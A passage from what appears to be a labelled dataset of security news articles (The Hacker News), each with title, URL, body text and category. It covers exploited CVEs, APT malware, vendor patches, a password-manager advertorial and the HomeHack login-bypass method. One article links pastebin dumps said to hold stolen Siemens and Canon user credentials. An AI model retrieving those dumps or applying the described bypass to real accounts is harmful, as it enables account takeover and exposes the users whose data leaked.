CVE-2019-11510 (CVSS score: 10.0) - Pulse Connect Secure arbitrary file reading vulnerability
CVE-2018-13379 (CVSS score: 9.8) - Fortinet FortiOS path traversal vulnerability leading to system file leak
CVE-2020-5902 (CVSS score: 9.8) - F5 BIG-IP remote code execution vulnerability
CVE-2020-15505 (CVSS score: 9.8) - MobileIron Core & Connector remote code execution vulnerability
CVE-2020-0688 (CVSS score: 8.8) - Microsoft Exchange memory corruption vulnerability
CVE-2019-3396 (CVSS score: 9.8) - Atlassian Confluence Server remote code execution vulnerability
CVE-2017-11882 (CVSS score: 7.8) - Microsoft Office memory corruption vulnerability
CVE-2019-11580 (CVSS score: 9.8) - Atlassian Crowd and Crowd Data Center remote code execution vulnerability
CVE-2018-7600 (CVSS score: 9.8) - Drupal remote code execution vulnerability
CVE-2019-18935 (CVSS score: 9.8) - Telerik .NET deserialization vulnerability resulting in remote code execution
CVE-2019-0604 (CVSS score: 9.8) - Microsoft SharePoint remote code execution vulnerability
CVE-2020-0787 (CVSS score: 7.8) - Windows Background Intelligent Transfer Service (BITS) elevation of privilege vulnerability
CVE-2020-1472 (CVSS score: 10.0) - Windows Netlogon elevation of privilege vulnerability
The list of vulnerabilities that have come under active attack thus far in 2021 are listed below -
Microsoft Exchange Server: CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 (aka ""ProxyLogon"")
Pulse Secure: CVE-2021-22893, CVE-2021-22894, CVE-2021-22899, and CVE-2021-22900
Accellion: CVE-2021-27101, CVE-2021-27102, CVE-2021-27103, and CVE-2021-27104
VMware: CVE-2021-21985
Fortinet: CVE-2018-13379, CVE-2020-12812, and CVE-2019-5591
The development also comes a week after MITRE published a list of top 25 ""most dangerous"" software errors that could lead to serious vulnerabilities that could be exploited by an adversary to take control of an affected system, obtain sensitive information, or cause a denial-of-service condition.
""The advisory [...] puts the power in every organisation's hands to fix the most common vulnerabilities, such as unpatched VPN gateway devices,"" NCSC Director for Operations, Paul Chichester, said, urging the need to prioritize patching to minimize the risk of being exploited by malicious actors.

",Vulnerability
Experts Uncover 'Crutch' Russian Malware Used in APT Attacks for 5 Years,https://thehackernews.com/2020/12/experts-uncover-crutch-russian-malware.html,"Cybersecurity researchers today took the wraps off a previously undocumented backdoor and document stealer that has been deployed against specific targets from 2015 to early 2020.
Codenamed ""Crutch"" by ESET researchers, the malware has been attributed to Turla (aka Venomous Bear or Snake), a Russia-based advanced hacker group known for its extensive attacks against governments, embassies, and military organizations through various watering hole and spear-phishing campaigns.
""These tools were designed to exfiltrate sensitive documents and other files to Dropbox accounts controlled by Turla operators,"" the cybersecurity firm said in an analysis shared with The Hacker News.
The backdoor implants were secretly installed on several machines belonging to the Ministry of Foreign Affairs in an unnamed country of the European Union.
Besides identifying strong links between a Crutch sample from 2016 and Turla's yet another second-stage backdoor called Gazer, the latest malware in their diverse toolset points to the group's continued focus on espionage and reconnaissance against high-profile targets.
Crutch is delivered either via the Skipper suite, a first-stage implant previously attributed to Turla, or a post-exploitation agent called PowerShell Empire, with two different versions of the malware spotted before and after mid-2019.
While the former included a backdoor that communicates with a hardcoded Dropbox account using the official HTTP API to receive commands and upload the results, the newer variant (""Crutch v4"") eschews the setup for a new feature that can automatically upload the files found on local and removable drives to Dropbox by using the Windows Wget utility.
""The sophistication of the attacks and technical details of the discovery further strengthen the perception that the Turla group has considerable resources to operate such a large and diverse arsenal,"" said ESET researcher Matthieu Faou.
""Furthermore, Crutch is able to bypass some security layers by abusing legitimate infrastructure — here, Dropbox – in order to blend into normal network traffic while exfiltrating stolen documents and receiving commands from its operators.""

",Cyber_Attack
Google 0-Day Hunters Find 'Crazy Bad' Windows RCE Flaw,https://thehackernews.com/2017/05/windows-rce-exploit.html,"Update (Monday, May 08, 2017): Microsoft has released an emergency security update to patch below-reported crazy bad remote code execution vulnerability in its Microsoft Malware Protection Engine (MMPE) that affects Windows 7, 8.1, RT and 10 computers, as well as Windows Server 2016 operating systems.

Google Project Zero's security researchers have discovered another critical remote code execution (RCE) vulnerability in Microsoft's Windows operating system, claiming that it is something truly bad.

Tavis Ormandy announced during the weekend that he and another Project Zero researcher Natalie Silvanovich discovered ""the worst Windows remote code [execution vulnerability] in recent memory. This is crazy bad. Report on the way.""

Ormandy did not provide any further details of the Windows RCE bug, as Google gives a 90-day security disclosure deadline to all software vendors to patch their products and disclose it to the public.

This means the details of the new RCE vulnerability in Windows will likely be disclosed in 90 days from now even if Microsoft fails to patch the issue.

However, Ormandy later revealed some details of the Windows RCE flaw, clarifying that:

The vulnerability they claimed to have discovered works against default Windows installations.
The attacker does not need to be on the same local area network (LAN) as the victim, which means vulnerable Windows computers can be hacked remotely.
The attack is ""wormable,"" capability to spread itself.

Despite not even releasing any technical details on the RCE flaw, some IT professionals working for corporates have criticized the Google Project Zero researcher for making the existence of the vulnerability public, while Twitter's infosec community is happy with the work.
""If a tweet is causing panic or confusion in your organization, the problem isn't the tweet, the problem is your organization,"" Project Zero researcher Natalie Silvanovich tweeted.
This is not the first time when Google's security researchers have discovered flaws in Microsoft's products. Most recently in February, Google researchers disclosed the details of an unpatched vulnerability impacting Microsoft's Edge and Internet Explorer browsers.

Microsoft released a patch as part of its next Patch Tuesday but criticized Google for making all details public, exposing millions of its Windows users at risk of being hacked.

Microsoft has not yet responded to the latest claims, but the company has its May 2017 Patch Tuesday scheduled tomorrow, May 9, so hopefully, it will include a security patch to resolve this issue.

",Vulnerability
Badlock — Unpatched Windows-Samba Vulnerability Affects All Versions of Windows,https://thehackernews.com/2016/03/windows-samba-vulnerability.html,"Security researchers have discovered a nasty security vulnerability that is said to affect almost every version of Windows and Samba and will be patched on April 12, 2016, the Samba development team announced Tuesday.

So, Save the Date if you are a Windows or Samba file server administrator.

Samba is a free, open source implementation of the SMB/CIFS network file sharing protocol that runs on the majority of operating systems available today, including Windows, UNIX, Linux, IBM System 390, and OpenVMS.

Samba allows non-Windows operating systems, like GNU/Linux or Mac OS X, to communicate with the same networking protocol as the Windows products, thus enabling users to access network shared folders and files from Windows OS.

Dubbed Badlock, the vulnerability has been discovered by Stefan Metzmacher, a developer of Samba Core Team.

Details about the Badlock vulnerability will be disclosed on April 12, when the developers of Microsoft and Samba release security patches to fix the flaw.

With a proper name, website and even logo, Badlock seems to be another marketed vulnerability that will likely be exploited by hackers once its details become public.

Here's what Badlock.org website reads:

On April 12th, 2016 a crucial security bug in Windows and Samba will be disclosed. We call it: Badlock. Engineers at Microsoft and the Samba Team are working together to get this problem fixed. Patches will be released on April 12th.

Admins and all of you responsible for Windows or Samba server infrastructure: Mark the date. (Again: It's April 12th, 2016.) Please get yourself ready to patch all systems on this day. We are pretty sure that there will be exploits soon after we publish all relevant information.

Although this sort of pre-notification is appreciated, especially for system administrators to help them apply the patch as soon as possible, the security blunder could also benefit the bad guys.

Security experts also believe that the available information might be enough for malicious hackers to independently find Badlock and exploit the vulnerability before a patch is released.

",Vulnerability
IndigoZebra APT Hacking Campaign Targets the Afghan Government,https://thehackernews.com/2021/07/indigozebra-apt-hacking-campaign.html,"Cybersecurity researchers are warning of ongoing attacks coordinated by a suspected Chinese-speaking threat actor targeting the Afghanistan government as part of an espionage campaign that may have had its provenance as far back as 2014.
Israeli cybersecurity firm Check Point Research attributed the intrusions to a hacking group tracked under the moniker ""IndigoZebra,"" with past activity aimed at other central-Asian countries, including Kyrgyzstan and Uzbekistan.
""The threat actors behind the espionage leveraged Dropbox, the popular cloud-storage service, to infiltrate the Afghan National Security Council (NSC),"" the researchers said in a technical write-up shared with The Hacker News, adding they ""orchestrated a ministry-to-ministry style deception, where an email is sent to a high-profile target from the mailboxes of another high-profile victim.""
IndigoZebra first came to light in August 2017 when Kaspersky detailed a covert operation that singled out former Soviet Republics with a wide swath of malware such as Meterpreter, Poison Ivy RAT, xDown, and a previously undocumented piece of malware called xCaon.
Check Point's investigation into the attacks commenced in April when NSC officials began receiving lure emails allegedly claiming to be from the Administrative Office of the President of Afghanistan.
While the message urged the recipients to review modifications in an attached document related to a pending NSC press conference, opening the decoy file — a password-protected RAR archive (""NSC Press conference.rar"") — was found to trigger an infection chain that culminated in the installation of a backdoor (""spools.exe"") on the targeted system.
Additionally, the attacks funneled malicious commands into the victim machine that were camouflaged using the Dropbox API, with the implant creating a unique folder for every compromised host in an attacker-controlled Dropbox account.
The backdoor, dubbed ""BoxCaon,"" is capable of stealing confidential data stored on the device, running arbitrary commands, and exfiltrating the results back to the Dropbox folder. The commands (""c.txt"") themselves are placed in a separate sub-folder named ""d"" in the victim's Dropbox folder, which is retrieved by the malware prior to execution.
BoxCaon's connection to IndigoZebra stems from similarities shared by the malware with xCaon. Check Point said it identified about 30 different samples of xCaon — the earliest dating back to 2014 — all of which rely on HTTP protocol for command-and-control communications.
Telemetry data analyzed by the researchers also found that the HTTP variants primarily set their sights on political entities located in Kyrgyzstan and Uzbekistan, suggesting a shift in targeting in recent years along with a revamped toolset.
""What is remarkable here is how the threat actors utilized the tactic of ministry-to-ministry deception,"" said Lotem Finkelsteen, head of threat intelligence at Check Point.
""This tactic is vicious and effective in making anyone do anything for you; and in this case, the malicious activity was seen at the highest levels of sovereignty. Furthermore, it's noteworthy how the threat actors utilize Dropbox to mask themselves from detection.""

",Malware
Symantec discovered Android Malware Toolkit named Dendroid,https://thehackernews.com/2014/03/symantec-discovered-android-malware.html,"Android platform is becoming vulnerable day by day and hackers always try to manipulate android by applying novel techniques. In this regard, Symantec researchers have found a new android malware toolkit named ""Dendroid"".

Previously Symantec found an Android Remote admin tool named AndroRAT is believed to be the first malware APK binder. However, Dendroid runs on HTTP with many malicious features.

Dendroid toolkit is able to generate a malicious apk file that offers amazing features like:
Can delete call logs
Open web pages
Dial any number
Record calls
SMS intercepting
Upload images, video
Open an application
Able to perform DoS attack
Can change the command and control server
The author of Dendroid also offers 24/7 customer support for this RAT and Android users can buy this toolkit at $300 by paying Bitcoin, Lifecoin.

Experts at Symantec said that Dendroid has some connection with the previous AndroRAT toolkit. Dendroid being an HTTP RAT offers PHP panel, firmware interface, and an APK binder package. The official seller of Dendroid is identified as ""Soccer"" and it endow with amazing features that have never been offered before this.
Symantec believes that there is a strong marketplace for such malicious tools. Even on PC platform, many crimeware toolkits like Zeus (Trojan.Zbot) and SpyEye (Trojan.Spyeye) performed high profile crimes. Such toolkits became popular due to ease of use. Symantec is also observing over Dendroid and advice users to install Norton Mobile Security to detect this threat.

According to a well-known report, Android is a dominant player in spreading mobile malware. Due to open source platform, Android is on the target of cyber criminals. Many experts have also predicted that the year of 2014 will be of malware attacks and data theft. It is believed that these attacks will happen on major OS, including Android, iOS, and Blackberry, etc.

It is sensible to download apps from trusted source (Google Play). If you download application from an unknown source, you may fall victim of a cyber attack.

Article written by Abel Wike , Head of fraud prevention division - ClickSSL.

",Malware
200 Million WhatsApp Users Vulnerable to vCard Vulnerability,https://thehackernews.com/2015/09/whatsapp-vcard-vulnerability.html,"WhatsApp recently claimed to have hit 900 Million monthly active users, but a dangerous security flaw in the web version of the popular instant messaging app puts up to 200 Million of its users at risk.

Yes, the web-based extension of WhatsApp is vulnerable to an exploit that could allow hackers to trick users into downloading malware on their computers in a new and more sophisticated way.

WhatsApp made its web client, WhatsApp Web, available to iPhone users just last month, after first rolling out its web-based instant messaging service for Android, Windows and BlackBerry Phone earlier in the year.

Similar to Facebook Messenger, WhatsApp Web is an effective way to experience the mobile app in a web browser, allowing you to view all of the conversations you have made with your friends – including images, audio files, videos, GPS location and contact cards – straight on your PCs.

However, a security flaw discovered by Check Point's security researcher Kasif Dekel could allow hackers to compromise your machines by distributing malware including:
Remote Access Tools (RATs) – Give hackers remote access to the victim's PC
Ransomware – Forces victims to pay a ransom in order to regain access to their systems and personal data
Bots – Cause the machines to slow down to a crawl
Other malicious software

Here's How the WhatsApp Exploit Works

In order to exploit the vulnerability, all an attacker needs is to send a seemingly innocent vCard contact card containing a malicious code to a WhatsApp user, and, of course, the target's phone number.
""To target an individual, all an attacker needs is the phone number associated with the [WhatsApp] account,"" Oded Vanunu from Check Point wrote in a blog post on Tuesday.
According to the researcher, it is easy for anyone to create and send a .BAT file as a legit vCard that looks like any other message from a friend, but actually triggers a malicious code when clicked.

Once the vCard is opened in WhatsApp Web, the executable malicious code in the card runs on the target machine, further leaving the infected machine open to other attacks that could:
Take complete control over the target machine
Monitor user's activities
Use the target machine to spread viruses
The WhatsApp security team has verified and acknowledged the vulnerability and has rolled out an update to fix the issue in its web clients.

The flaw affects all versions of WhatsApp before V0.1.4481. So, users are advised to make sure that they are running the fully updated version of WhatsApp.

",Vulnerability
Siemens and Canon's Databases exploited by Team INTRA,https://thehackernews.com/2012/03/siemens-and-canons-databases-exploited.html,"Siemens and Canon's Databases exploited by Team INTRA

Recently a hacker known as ""JoinSe7en"" from Team INTRA claims to have hacked into subdomains of Canon and Siemens. Apparently, the hacker has found and exploited a Blind SQL Injection vulnerability in Canon's website and a Error based SQL Injection in Siemens.

He published a full disclosure on both of the databases on pastebin:
Siemens : https://pastebin.com/HBL966wh
Canon : https://pastebin.com/fbL0s9aS

These pastebin notes include the vulnerable links of respective sites and extracted database info with usernames and passwords of Siemens Users & Canon forum, sites user credentials.

",Vulnerability
Google buy Reverse Engineering Company Zynamics (German security firm) !,https://thehackernews.com/2011/03/google-buy-reverse-engineering-company.html,"Google has just acquired a small German software company called Zynamics. The company, which was founded in 2004, focuses on reverse engineering — that is, analyzing software (malware in particular) for which no source code is available.


It's an incredibly interesting and complicated problem to try to solve, which makes the Zynamics team and product a perfect fit for Google, a company that's known for tackling interesting and complicated problems.

A Google rep said in an e-mail, ""We're delighted to have the Zynamics team aboard and hope their tools and skills in fighting malware will help us better protect Google's users.""

While we're not completely sure what the fate of the company will be, we do know that its goals and expertise line up particularly well with Google's aims in online security.

Currently, Zynamics's offerings focus on the needs of information security specialists and malware analysts. Its products are allegedly both innovative and time-saving.

The company's products include BinDiff, for analyzing executables; BinNavi, for analyzing binary code; PDF Dissector, for analyzing PDF malware; VxClass, for sorting malware into families; and BinCrowd, which is a central database for sharing reverse-engineered information.

In addition to these products, Google is also acquiring a brilliant and experienced team — just the kind of engineers Google is renowned for hiring.

We'll see what the future holds for Zynamics, and we'll keep you updated as details about this deal emerge.

Link : https://zynamics.com/

",Malware
SolarWinds Hackers Also Accessed U.S. Justice Department's Email Server,https://thehackernews.com/2021/01/solarwinds-hackers-also-accessed-us.html,"The U.S. Department of Justice on Wednesday became the latest government agency in the country to admit its internal network was compromised as part of the SolarWinds supply chain attack.
""On December 24, 2020, the Department of Justice's Office of the Chief Information Officer (OCIO) learned of previously unknown malicious activity linked to the global SolarWinds incident that has affected multiple federal agencies and technology contractors, among others,"" DoJ spokesperson Marc Raimondi said in a short statement. ""This activity involved access to the Department's Microsoft Office 365 email environment.""
Calling it a ""major incident,"" the DoJ said the threat actors who spied on government networks through SolarWinds software potentially accessed about 3% of the Justice Department's email accounts, but added there's no indication they accessed classified systems.
The disclosure comes a day after the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the Office of the Director of National Intelligence (ODNI), and the National Security Agency (NSA) issued a joint statement formally accusing an adversary ""likely Russian in origin"" for staging the SolarWinds hack.
The agencies described the entire SolarWinds operation as ""an intelligence gathering effort.""
The espionage campaign, which originated in March 2020, worked by delivering malicious code that piggybacked on SolarWinds network-management software to as many as 18,000 of its customers, although additional intrusive activity is believed to have been conducted only against select targets.
JetBrains denies involvement in SolarWinds hack
In a separate development, The New York Times, Reuters, and The Wall Street Journal reported intelligence bureaus are probing the possibility that JetBrains' TeamCity software distribution system was breached and ""used as a pathway for hackers to insert back doors into the software of an untold number of technology companies.""
TeamCity is a build management and continuous integration server offered by the Czech software development company. JetBrains counts 79 of the Fortune 100 companies as its customers, including SolarWinds.
But in a blog post published by its CEO Maxim Shafirov, the company denied being involved in the attack in any way, or that it was contacted by any government or security agency regarding its role in the security incident.
""SolarWinds is one of our customers and uses TeamCity, which is a Continuous Integration and Deployment System, used as part of building software,"" Shafirov said. ""SolarWinds has not contacted us with any details regarding the breach and the only information we have is what has been made publicly available.""
Shafirov also stressed that in the event if TeamCity had been used to compromise SolarWinds, it could be due to a misconfiguration, and not a specific vulnerability.

",Cyber_Attack
"UK Parliament Hit by Cyberattack, Up to 90 MPs' E-mail Accounts Hacked",https://thehackernews.com/2017/06/uk-parliament-emails-hacked.html,"A cyber attack has hit the email system of UK Houses of Parliament on Friday morning that breached at least 90 emails accounts protected by weak passwords belonging to MPs, lawmakers, and other parliamentary staff.

Meanwhile, as a precaution, the Security service has temporarily shut down the remote access (outside the Westminster) to its network to protect email accounts.

Liberal Democrat Chris Rennard has advised on Twitter that urgent messages should be sent by text message.
""We have discovered unauthorized attempts to access accounts of parliamentary networks users and are investigating this ongoing incident, working closely with the National Cyber Security Centre,"" the spokesperson said.
""Parliament has robust measures in place to protect all of our accounts and systems, and we are taking the necessary steps to protect and secure our network.""
The authorities found less than 1% of parliament's 9,000 email addresses had been compromised using the brute-force attack that lasted for more than 12 hours.

But if the emails were successfully accessed, experts believe and have warned that politicians could be at risk of blackmail or terror attacks.

It is unclear who is responsible for the attack, but the breach has happened just two days after the passwords of British cabinet ministers and officials were reportedly being sold online by hackers on Russian underground forums.

However, most UK officials suspect Russia and North Korea for the British Parliament cyber-attack.
""We are continuing to investigate this incident and take further measures to secure the computer network, liaising with the Britain's National Cyber Security Centre (NCSC)."" spokeswoman said.

",Cyber_Attack
Hackers Could Turn LG Smart Appliances Into Remote-Controlled Spy Robot,https://thehackernews.com/2017/10/smart-iot-device-hacking.html,"If your smart devices are smart enough to make your life easier, then their smart behaviour could also be exploited by hackers to invade your privacy or spy on you, if not secured properly.

Recent research conducted by security researchers at threat prevention firm Check Point highlights privacy concern surrounding smart home devices manufactured by LG.

Check Point researchers discovered a security vulnerability in LG SmartThinQ smart home devices that allowed them to hijack internet-connected devices like refrigerators, ovens, dishwashers, air conditioners, dryers, and washing machines manufactured by LG.

...and what's worse?

Hackers could even remotely take control of LG's Hom-Bot, a camera-equipped robotic vacuum cleaner, and access the live video feed to spy on anything in the device's vicinity.

This hack doesn't even require hacker and targeted device to be on the same network.

Dubbed HomeHack, the vulnerability resides in the mobile app and cloud application used to control LG's SmartThinkQ home appliances, allowing an attacker to remotely gain control of any connected appliance controlled by the app.

This vulnerability could allow hackers to remotely log into the SmartThinQ cloud application and take over the victim's LG account, according to the researchers.

Watch the Video Demonstration of the HomeHack Attack:


The researchers demonstrated the risks posed by this vulnerability by taking control of an LG Hom-Bot, which comes equipped with a security camera and motion detection sensors and reportedly owned by over one million users.

You can watch the video posted by the Check Point researchers, which shows how easy it is to hijack the appliance and use it to spy on users and their homes.

The issue is in the way SmartThinQ app processes logins, and exploiting the issue only requires a hacker with a moderate skill to know the email address of the target, and nothing else.

Since hackers can merely bypass a victim's login using the HomeHack flaw, there is no need for them to be on the same network as the victim, and primary IoT security tips such as avoid using default credentials, and always use a secure password also fails here.

Also, such devices which are supposed to give users remote access from an app cannot be put behind a firewall to keep them away from the exposure on the Internet.

In order to perform this hack, the hacker needs a rooted device and requires to intercept the app traffic with the LG server.

However, the LG app has a built-in anti-root mechanism, which immediately closes if detects the smartphone is rooted, and SSL pinning mechanism, which restricts intercepting traffic.

So, to bypass both security features, Check Point researchers said hackers could first decompile the source of the app, remove the functions that enable SSL pinning and anti-root from the app's code, recompile the app and install it on their rooted device.

Now, hackers can run this tempered app on their rooted smartphone and can set up a proxy which could allow them to intercept the application traffic.

Here's How the HomeHack Attack Works:

Researchers analyzed the login process of the SmartThinQ app and found that it contains the following requests:

Authentication request – the user would enter his/her login credentials, which would be validated by the company's backend server.
Signature request – creates a signature based on the above-provided username (i.e. the email address), and this signature has nothing do with the password.
Token request – an access token for the user account is generated using the signature response as a header and username as a parameter.
Login request – sends the above-generated access token in order to allow the user to login to the account.

However, researchers found that there's no dependency between the first step and the subsequent two mentioned above.

So, an attacker could first use his/her username to pass step one, and then intercept the traffic in order to change the username to the victim's username for steps two and three, which would effectively grant the attacker access to the victim's account.

Once in control of the target account, the attacker can control any LG device or appliance associated with that account, including refrigerators, ovens, dishwashers, washing machines and dryers, air conditioners, and robot vacuum cleaners.

Hackers can then change the settings on the hacked devices, or can simply switch on or off.

This Is What You Can Do Now:

Researchers disclosed the vulnerability to LG on July 31 and the device manufacturer issued an update to patch the issue in September.

So, if you own any LG SmartThinQ appliance, you are strongly advised to update to the LG SmartThinQ mobile app to the latest version (1.9.23) through Google Play Store, Apple App Store or the LG SmartThinQ settings.

",Vulnerability
Kaseya Releases Patches for Flaws Exploited in Widespread Ransomware Attack,https://thehackernews.com/2021/07/kaseya-releases-patches-for-flaws.html,"Florida-based software vendor Kaseya on Sunday rolled out urgent updates to address critical security vulnerabilities in its Virtual System Administrator (VSA) solution that was used as a jumping off point to target as many as 1,500 businesses across the globe as part of a widespread supply-chain ransomware attack.
Following the incident, the company had urged on-premises VSA customers to shut down their servers until a patch was available. Now, almost 10 days later the firm has shipped VSA version 9.5.7a (9.5.7.2994) with fixes for three new security flaws —
CVE-2021-30116 - Credentials leak and business logic flaw
CVE-2021-30119 - Cross-site scripting vulnerability
CVE-2021-30120 - Two-factor authentication bypass
The security issues are part of a total of seven vulnerabilities that were discovered and reported to Kaseya by the Dutch Institute for Vulnerability Disclosure (DIVD) earlier in April, of which four other weaknesses were remediated in previous releases —
CVE-2021-30117 - SQL injection vulnerability (Fixed in VSA 9.5.6)
CVE-2021-30118 - Remote code execution vulnerability (Fixed in VSA 9.5.5)
CVE-2021-30121 - Local file inclusion vulnerability (Fixed in VSA 9.5.6)
CVE-2021-30201 - XML external entity vulnerability (Fixed in VSA 9.5.6)
Besides fixes for the aforementioned shortcomings, the latest version also resolves three other flaws, including a bug that exposed weak password hashes in certain API responses to brute-force attacks as well as a separate vulnerability that could allow the unauthorized upload of files to the VSA server.
For additional security, Kaseya is recommending limiting access to the VSA Web GUI to local IP addresses by blocking port 443 inbound on the internet firewall for on-premises installations.
Kaseya is also warning its customers that installing the patch would force all users to mandatorily change their passwords post login to meet new password requirements, adding that select features have been replaced with improved alternatives and that the ""release introduces some functional defects that will be corrected in a future release.""
Besides the roll out of the patch for on-premises versions of its VSA remote monitoring and management software, the company has also instantiated the reinstatement of its VSA SaaS infrastructure. ""The restoration of services is progressing according to plan, with 60% of our SaaS customers live and servers coming online for the rest of our customers in the coming hours,"" Kaseya said in a rolling advisory.
The latest development comes days after Kaseya cautioned that spammers are capitalizing on the ongoing ransomware crisis to send out fake email notifications that appear to be Kaseya updates, only to infect customers with Cobalt Strike payloads to gain backdoor access to the systems and deliver next-stage malware.
Kaseya has said multiple flaws were chained together in what it called a ""sophisticated cyberattack"", and while it isn't exactly clear how it was executed, it's believed that a combination of CVE-2021-30116, CVE-2021-30119, and CVE-2021-30120 was used to carry out the intrusions. REvil, a prolific ransomware gang based in Russia, has claimed responsibility for the incident.
The use of trusted partners like software makers or service providers like Kaseya to identify and compromise new downstream victims, often called a supply-chain attack, and pair it with file-encrypting ransomware infections has also made it one of the largest and most significant such attacks to date.
Interestingly, Bloomberg on Saturday reported that five former Kaseya employees had flagged the company about ""glaring"" security holes in its software between 2017 and 2020, but their concerns were brushed off.
""Among the most glaring problems was software underpinned by outdated code, the use of weak encryption and passwords in Kaseya's products and servers, a failure to adhere to basic cybersecurity practices such as regularly patching software and a focus on sales at the expense of other priorities,"" the report said.
The Kaseya attack marks the third time that ransomware affiliates have abused Kaseya products as a vector to deploy ransomware.
In February 2019, the Gandcrab ransomware cartel — which later evolved into Sodinokibi and REvil — leveraged a vulnerability in a Kaseya plugin for the ConnectWise Manage software to deploy ransomware on the networks of MSPs' customer networks. Then in June 2019, the same group went after Webroot SecureAnywhere and Kaseya VSA products to infect endpoints with Sodinokibi ransomware.

",Cyber_Attack
Password Manager Pro — Easiest Way to Keep Enterprises Secure,https://thehackernews.com/2016/11/enterprise-password-manager.html,"Recent corporate breaches have taught us something important — the average enterprise user is spectacularly bad at choosing good passwords.

As modern enterprise is becoming a hybrid organization with infrastructure spread across on-premises data centers as well as in the cloud, security of information, applications, and assets has become a paramount concern.

Cyber security is no longer an optional strategy for businesses, where limited visibility into the password practices of employees and ineffective monitoring of privileged credentials could end up an organization with a serious security breach and identity theft.

The first line of defense for any organization or company is passwords, but most organizations grossly underestimate the need to comply with corporate password policies and meet IT regulatory requirements.

Large enterprises have a policy in place that requires end users to choose strong passwords that can withstand dictionary and brute-force attacks, but it comes out to be non-effective, as there are still possibilities that users will go against the policy and pick a simple password.

Even if an organization's IT department forces their employees to choose strong passwords, those strong passwords are stored in text-based files like spreadsheets, or even worse, Word documents.

Not to mention how secure these files are and how able they are to restrict who can access which passwords.

We know that Ignorance is Bliss, but in this case, ignorance can place your enterprise and its data at risk.

In addition to the issues related to creating strong, unique passwords and securely storing them, large enterprises face another important issue - sharing the impersonal administrative accounts among the team members, which can be very challenging. For example, a particular 'administrator' account on Windows will be used by multiple users and all of them will be using the same log in credentials.

The Solution? Password Manager for Enterprise:
Password Manager not only forces one to have strong, unique passwords, but also remembers on your behalf, determines when those passwords have to change, and includes an admin console for controlling all passwords and access to critical services within the enterprise.

I'm impressed with ManageEngine's privileged password management solution — Password Manager Pro that already has VMWare, Walmart, EMC2, and NASA on its customer list.

Password Manager Pro (PMP) is specially designed for enterprise teams and provides a complete solution to control, manage, monitor, and audit the entire lifecycle of privileged access, helping them detect suspicious events in real-time.

Password Manager Pro encrypts and stores all your sensitive data in a centralized vault, including passwords, documents, and digital identities, which are then retrieved through a Web interface.

Administrators can consolidate all the passwords, create an inventory, define password policy, set password expiration, and share passwords among authorized users by granting them exclusive privileges or temporary access.

Deploying Password Manager Pro is easy, as it only takes a few minutes for the web-based management software to install its database and web-server, which is available for Windows and Linux.

However, users can access their portal through mobile apps or browser extensions from any device, including Android, iOS, and Windows.

In a single package, Password Manager Pro offers three solutions:

1. Privileged Account Management
Once deployed, Password Manager Pro automatically discovers all IT assets in your network and lists all the privileged accounts associated with them, which enables administrators to quickly secure all the privileged identities by enforcing password management best practices.

This includes the use of strong passwords, securing sensitive data and passwords with AES 256-bit strong encryption, and securely sharing administrative passwords across your organization based on need, with granular access restrictions.

Most importantly, the Password Manager Pro is also designed to automate the password reset and synchronization process across the entire enterprise for a broad range of target systems.

This centralized and enterprise-wide 'Automated Password Resets' feature helps IT administrators get rid of unchanged passwords and protect all sensitive resources from unauthorized access.

In other words, Password Manager Pro allows IT administrator to reset passwords when required or automatically randomizes through scheduled tasks in order to ensure usage of strong passwords and periodic resets by creating and enforcing strict password policies.

2. Remote Access Management

One of the outstanding features of Password Manager Pro is its ability to help administrators launch a direct connection with all remote devices, including those in remote data centers, with just one click from the product's GUI.

With its secure gateways, Password Manager Pro helps you provide remote access to your IT resources to employees and third-party contractors without even disclosing the passwords in plain-text. In other words, PMP enables remote login to devices without sharing passwords at all!

From its web-interface, authorized users can directly launch RDP, SSH, Telnet, and SQL console sessions, wherein all connections will be tunneled through Password Manager Pro's server and require no direct connectivity between the user device and remote host.

This feature has obvious advantages like saving time that usually used to copy/paste passwords from the document, and increasing accountability as PasswordManager Pro tracks access and usage of passwords.

3. Privileged Session Management

The remote connections to devices launched from Password Manager Pro's GUI can be closely monitored through PMP's Privileged Session Manager. All actions done by the users during the privileged session are video recorded and stored for forensic audits. The video records can be played back anytime, to trace actions to users.

Password Manager Pro also includes a session shadowing feature that offers session recording capabilities to real-time monitoring of sensitive privileged sessions launched by other users.

If any suspicious activity is discovered, administrators can immediately terminate sessions in real time, giving admins complete control over privileged sessions.

One can also enable two-factor authentication (2FA) and mobile access for authorized users or groups.

How to Get Password Manager Pro?
Password Manager Pro supports several different user access roles including super admin, admin, and regular password users. An online demo of Password Manager Pro is available here, in case you want to have a quick look to the application.

Besides this, ManageEngine Password Manager Pro is now available in MSP edition as well, which is specially designed for the Managed Service Providers who manages the IT and network infrastructure of their customers.

ManageEngine's Password Manager Pro MSP Edition allows businesses to manage administrative passwords of their clients separately from a single management console or offer Password Management Service to them.

So, if ManageEngine Password Manager Pro fits for your organization, you can give it a try. Pricing depends on the level, number of administrators and language.

The cost varies widely, from the annual subscription of $495 for Standard edition, Single-language, and 2-admin (the number of users is unlimited) to $19,995 for an Enterprise edition, Multi-language, 200-admin, perpetual license.

All editions of ManageEngine Password Manager Pro can be downloaded (Windows/Linux) directly from the ManageEngine official website.

To understand how Password Manager Pro helps mitigate security risks related to privileged access, you can simply download the eBook for free.

",Cyber_Attack
PHP Site's User Database Was Hacked In Recent Source Code Backdoor Attack,https://thehackernews.com/2021/04/php-sites-user-database-was-hacked-in.html,"The maintainers of the PHP programming language have issued an update regarding the security incident that came to light late last month, stating that the actors may have gotten hold of a user database containing their passwords to make unauthorized changes to the repository.
""We no longer believe the git.php.net server has been compromised. However, it is possible that the master.php.net user database leaked,"" Nikita Popov said in a message posted on its mailing list on April 6.
On March 28, unidentified actors used the names of Rasmus Lerdorf and Popov to push malicious commits to the ""php-src"" repository hosted on the git.php.net server that involved adding a backdoor to the PHP source code in an instance of a software supply chain attack.
While this was initially treated as a compromise of the git.php.net server, further investigation into the incident has revealed that the commits were a result of pushing them using HTTPS and password-based authentication, leading them to suspect a possible leak of the master.php.net user database.
The ""git.php.net (intentionally) support[s] pushing changes not only via SSH (using the Gitolite infrastructure and public key cryptography), but also via HTTPS,"" Popov said. ""The latter did not use Gitolite, and instead used git-http-backend behind Apache 2 Digest authentication against the master.php.net user database.""
""It is notable that the attacker only makes a few guesses at usernames, and successfully authenticates once the correct username has been found. While we don't have any specific evidence for this, a possible explanation is that the user database of master.php.net has been leaked, although it is unclear why the attacker would need to guess usernames in that case.""
